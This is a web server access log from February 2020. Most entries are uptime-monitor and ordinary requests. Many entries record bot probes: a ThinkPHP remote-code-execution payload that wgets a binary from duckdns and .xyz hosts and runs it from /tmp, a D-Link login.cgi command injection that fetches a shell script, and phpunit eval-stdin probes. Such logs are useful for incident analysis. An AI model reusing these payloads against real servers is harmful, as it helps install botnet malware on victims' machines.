92.254.232.117 - - [10/Feb/2020:14:55:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.107 - - [10/Feb/2020:15:06:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.189.178 - - [10/Feb/2020:15:09:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.113.28.118 - - [10/Feb/2020:15:12:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:15:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.6.210.116 - - [10/Feb/2020:15:12:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:15:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.1.85.97 - - [10/Feb/2020:15:13:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.76.188.2 - - [10/Feb/2020:15:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:15:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.59.17.116 - - [10/Feb/2020:15:17:25 +0100] "GET /wp-login.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [10/Feb/2020:15:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.91.143.206 - - [10/Feb/2020:15:18:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.130.4.3 - - [10/Feb/2020:15:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:15:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.173.147.136 - - [10/Feb/2020:15:24:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [10/Feb/2020:15:24:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:15:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.243.102 - - [10/Feb/2020:15:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:15:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.107 - - [10/Feb/2020:15:28:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.241.106 - - [10/Feb/2020:15:28:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.195.61 - - [10/Feb/2020:15:35:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.78.182 - - [10/Feb/2020:15:35:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.86.159 - - [10/Feb/2020:15:35:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.74.204.22 - - [10/Feb/2020:15:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:15:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.134.81 - - [10/Feb/2020:15:38:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.149.157.44 - - [10/Feb/2020:15:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:15:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.73.65.106 - - [10/Feb/2020:15:40:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.54.222.133 - - [10/Feb/2020:15:41:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.195.61 - - [10/Feb/2020:15:45:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.41.12 - - [10/Feb/2020:15:45:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.14.239.247 - - [10/Feb/2020:15:48:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:15:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.182.51.70 - - [10/Feb/2020:15:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:15:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:15:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [10/Feb/2020:15:57:38 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.117.170.122 - - [10/Feb/2020:15:57:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:15:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.106.191.212 - - [10/Feb/2020:15:58:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.221.129.110 - - [10/Feb/2020:15:59:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:15:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [10/Feb/2020:15:59:45 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:16:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.16 - - [10/Feb/2020:16:01:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [10/Feb/2020:16:03:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [10/Feb/2020:16:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.209.166.82 - - [10/Feb/2020:16:03:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:16:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.72.65 - - [10/Feb/2020:16:05:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.1.78.22 - - [10/Feb/2020:16:05:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:16:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.217.39 - - [10/Feb/2020:16:07:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.70.129.24 - - [10/Feb/2020:16:08:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
208.100.26.235 - - [10/Feb/2020:16:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [10/Feb/2020:16:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.197.114.101 - - [10/Feb/2020:16:10:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
217.76.42.78 - - [10/Feb/2020:16:11:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [10/Feb/2020:16:14:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [10/Feb/2020:16:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.154.227.183 - - [10/Feb/2020:16:15:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.189.119.42 - - [10/Feb/2020:16:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:16:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.128.166 - - [10/Feb/2020:16:19:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:16:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:16:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
